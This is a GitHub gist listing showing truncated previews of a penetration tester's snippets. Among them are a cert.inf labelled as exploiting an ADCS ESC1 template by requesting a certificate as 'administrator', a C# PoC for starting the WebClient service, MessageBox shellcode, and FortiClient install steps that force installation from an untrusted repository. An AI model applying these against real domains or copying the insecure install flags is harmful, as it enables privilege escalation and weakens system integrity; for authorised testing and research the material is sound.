Kr0ff’s gists

Kr0ff / krb5.conf

Created July 9, 2025 10:26

Krb5.conf simple configuration to allow for kinit to work

	[libdefaults]
	default_realm = DOMAIN.LOCAL

	[realms]
	DOMAIN.LOCAL = {
	kdc = DC.DOMAIN.LOCAL
	#kdc = dc2.my.ad.tld
	#kdc = dc3.my.ad.tld
	}

Kr0ff / main.cpp

Created February 5, 2025 20:33 — forked from kkent030315/main.cpp

Windows x64 MessageBox Shellcode (434 bytes)

	#include <iostream>
	#include <Windows.h>

	int main()
	{
	char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
	"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
	"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
	"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
	"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"

Kr0ff / cert.inf

Created January 30, 2025 09:24

Exploitation of ADCS ESC1 Vulnerable template

	[Version]
	Signature="$Windows NT$"

	[NewRequest]
	Subject = "CN=administrator, CN=Users, DC=domain, DC=local" ;
	KeySpec = 1
	KeyLength = 2048
	Exportable = TRUE
	ExportableEncrypted = TRUE
	MachineKeySet = FALSE

Kr0ff / fuckForticlient.sh

Created December 24, 2024 11:50 — forked from nonamed01/fuckForticlient.sh

fuckForticlient, a command-line client to connect to SAML fortivpn servers by using openfortivpn and the --cookie-in-stdin parameter

	#!/bin/bash
	# Uncomment the following line to debug the script:
	#set -x
	#####################################################################################
	# fuckForticlient.sh
	#
	# Script to authenticate against Fortinet SAML servers using Firefox and
	# openfortivpn. This replaces Forticlient for GNU/Linux completely.
	# Because openfortivpn does not support SAML login (yet), this script uses Firefox
	# to authenticate, grabs SVPNCOOKIE and then calls openfortivpn to setup

Kr0ff / tcp-ports.txt

Created November 12, 2024 12:04

TCP Ports

21,22,23,25,53,79,80,81,88,110,111,135,139,143,389,443,445,465,512,513,514,515,554,587,623,636,873,993,995,1050,1080,1098,1099,1433,1521,1883,2049,2301,2381,2375,2376,3000,3306,3128,3268,3269,3389,4369,4443,5000,5432,5433,5555,5601,5800,5801,5900,5901,5984,5985,5986,6000,6379,6984,8009,8080,8089,8443,8554,9001,9042,9100,9200,9160,10000,10080,11211,18080,18433,27017,27018,50030,50060,50070,50075,50090

Kr0ff / [Orbstack] Kali Desktop

Created July 11, 2024 17:24

	# Basically to get a desktop session on Kali linux or other distro in Orbstack under MacOS (ARM)
	# You need to install the server packages for X2Go and X11
	# The example is for Kali linux but the approach is similar for other distros

	# Create a container
	orbctl create -a amd64 kali -u user01 -p

	# orbctl run -m kali id # To verify the container is running with the user you created
	# uid=501(user01) gid=501(user01) groups=501(user01),4(adm),27(sudo),44(video),50(staff)

Kr0ff / FortiClient 6.4 Install Ubuntu

Created July 5, 2024 14:21

	FortiClient 6.4
	https://www.fortinet.com/support/product-downloads/linux

	wget -O - https://repo.fortinet.com/repo/6.4/ubuntu/DEB-GPG-KEY \| sudo apt-key add -
	sudo echo "deb [arch=amd64] https://repo.fortinet.com/repo/6.4/ubuntu/ /bionic multiverse" >> /etc/apt/sources.list

	# Ignores the expired GPG key
	sudo apt -o Acquire::AllowInsecureRepositories=true -o Acquire::AllowDowngradeToInsecureRepositories=true update

	# Forces installation of package from untrusted repo

Kr0ff / simple-https-server.py

Created April 21, 2024 12:03 — forked from gh640/simple-https-server.py

Sample: A simple https server with Python for development (Python 3.9+).

	"""Simple https server for development."""

	import ssl
	from http.server import HTTPServer, SimpleHTTPRequestHandler

	CERTFILE = './localhost.pem'


	def main():
	https_server(certfile=CERTFILE)

Kr0ff / bin_to_hex.c

Created January 7, 2024 11:57

Raw binary to hex

	#include <stdio.h>

	long fsize(char *filename) {
	FILE *fp = fopen(filename, "r");

	if (fp==NULL)
	return -1;

	if (fseek(fp, 0, SEEK_END) < 0) {
	fclose(fp);

Kr0ff / EtwStartWebClient.cs

Created October 23, 2023 08:48 — forked from klezVirus/EtwStartWebClient.cs

A PoC in C# to enable WebClient Programmatically

	using System.Runtime.InteropServices;
	using System;

	/*
	* Simple C# PoC to enable WebClient Service Programmatically
	* Based on the C++ version from @tirannido (James Forshaw)
	* Twitter: https://twitter.com/tiraniddo
	* URL: https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
	*
	* Compile with:

Kr0ff Kr0ff